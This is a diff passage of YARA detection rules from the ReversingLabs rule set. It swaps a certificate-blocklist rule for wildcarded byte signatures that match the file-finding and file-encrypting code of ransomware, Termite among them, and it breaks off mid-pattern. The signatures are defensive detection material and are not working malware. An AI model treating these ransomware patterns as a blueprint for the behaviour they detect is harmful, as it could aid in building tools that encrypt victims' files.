?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 8B 55 ?? 88 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? + ?? 8D 55 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 45 ?? + 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 E0 ?? 8D 4D ?? 83 7D ?? ?? 50 0F 43 + } + $encrypt_files_p2 = { + 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 8D + ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? + ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D BE ?? + ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B C7 89 BD ?? ?? ?? ?? 72 ?? 8B 07 83 7F ?? ?? 75 + ?? 0F B6 00 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? C7 86 ?? ?? ?? ?? ?? + ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8B 86 ?? ?? ?? ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 8B 86 ?? ?? + ?? ?? 83 7D ?? ?? 99 0F 43 4D ?? 52 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 8B 55 ?? 3B CA 77 ?? 83 7D ?? ?? 8D 45 ?? 89 4D ?? 0F 43 45 ?? C6 04 01 ?? + EB ?? 8B 45 ?? 8B F9 2B FA 2B C2 3B F8 77 ?? 83 7D ?? ?? 8D 75 ?? 57 0F 43 75 ?? 03 + } + $encrypt_files_p3 = { + F2 89 4D ?? 6A ?? 56 E8 ?? ?? ?? ?? C6 04 3E ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? EB ?? 6A + ?? 57 C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B BD ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 + ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D + 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B + 08 6A ?? 8B 11 8B C8 FF D2 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 D2 8B 40 ?? 03 C8 + B8 ?? ?? ?? ?? 39 51 ?? 0F 45 C2 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? + 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 6A ?? 50 E8 ?? ?? ?? ?? + 81 C6 ?? ?? ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 + } + $encrypt_files_p4 = { + C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B 47 ?? 72 ?? 8B 3F 83 F8 ?? 75 + ?? 0F B6 07 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B BD ?? ?? ?? ?? 85 C0 75 ?? 8D + 45 ?? 50 83 EC ?? 8D 87 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC + ?? C6 45 ?? ?? 8B CC 56 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB ?? 8B BD ?? ?? + ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? + 8D 45 ?? 3B C6 74 ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 FF 76 ?? 8D 4D ?? 50 E8 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 C7 46 ?? + ?? ?? ?? ?? 8D 55 ?? C6 00 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? FF 75 ?? 0F 43 55 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? + 0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D + 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B C8 C6 + 45 ?? ?? 8B 41 ?? 8B 51 ?? 2B C2 83 F8 ?? 72 ?? 83 79 ?? ?? 8D 42 ?? 89 41 ?? 8B C1 + 72 ?? 8B 01 66 C7 04 02 ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 0F 10 01 0F 11 85 ?? ?? ?? ?? F3 0F 7E 41 ?? 66 0F D6 85 ?? ?? ?? ?? + C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B + } + $encrypt_files_p5 = { + C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? C7 04 01 ?? ?? ?? ?? C6 44 01 ?? ?? 8D 85 ?? ?? ?? + ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? + ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? + ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8D 47 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 + 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? + ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 + F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? + ?? 66 C7 04 08 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 + 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 + } + $encrypt_files_p6 = { + 8B BD ?? ?? ?? ?? 8B C7 8B 8D ?? ?? ?? ?? 2B C1 8B 56 ?? 3B D0 76 ?? 8B 46 ?? 2B C2 + 3B C1 72 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 8B CE 50 6A ?? E8 ?? + ?? ?? ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 + ?? ?? ?? ?? C6 00 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? + ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? 72 ?? 83 FA ?? + 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 03 F1 89 85 ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 83 C4 ?? C6 46 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66 + 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? + ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? + 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 + ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? + 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? + ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 + } + $encrypt_files_p7 = { + FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 + 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? + ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? + 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? + 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? + 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? + 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B + } + $encrypt_files_p8 = { + 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? + ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 + ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 66 89 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? + ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? + 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 + ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 EC ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 + C6 45 ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? + ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? + ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 + } + $encrypt_files_p9 = { + 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? + 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 + F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D + ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 + ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 + ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? + 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? + 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 + ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 + 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? + 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Win Sp Z O O" and pe.signatures [ i ] . serial == "0b:7c:32:20:8a:95:4a:48:3d:d1:02:e1:be:09:48:67" and 1583884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3E72Daf2B9A4449E946009E5084A8E76 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Termite : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Termite ransomware." author = "ReversingLabs" - id = "aa7c6cbe-0794-59e3-a675-93beeccc9784" - date = "2020-08-05" - modified = "2023-11-08" + id = "350011fa-1e3c-5079-8fe7-968340a3aca0" + date = "2020-08-31" + modified = "2020-08-31" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4032-L4048" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Termite.yara#L1-L151" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1a7bf6c18e0ebf8aef53feb7d7789ce87c96e00962c64e07a37d968702d2fa5" + logic_hash = "df273de81fc58cb0bacf021ee539ec6dbfa1f1a3e13bd46519ee313595cafb4c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Termite" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 + ?? ?? ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D + ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 8B 1B 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? + 58 8B 5D ?? 89 03 68 ?? ?? ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D + ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 + C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? + B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B + 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 + } + $find_files_p2 = { + 83 C4 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 94 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? + ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 + C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 + C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 + F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F + 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? + ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? + B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 + } + $find_files_p3 = { + 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 81 7D ?? ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? FF 75 ?? 8B 5D + ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 + ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 + DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 + 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 + ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? + 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? A1 ?? ?? ?? ?? 50 + FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? + 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D + ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? 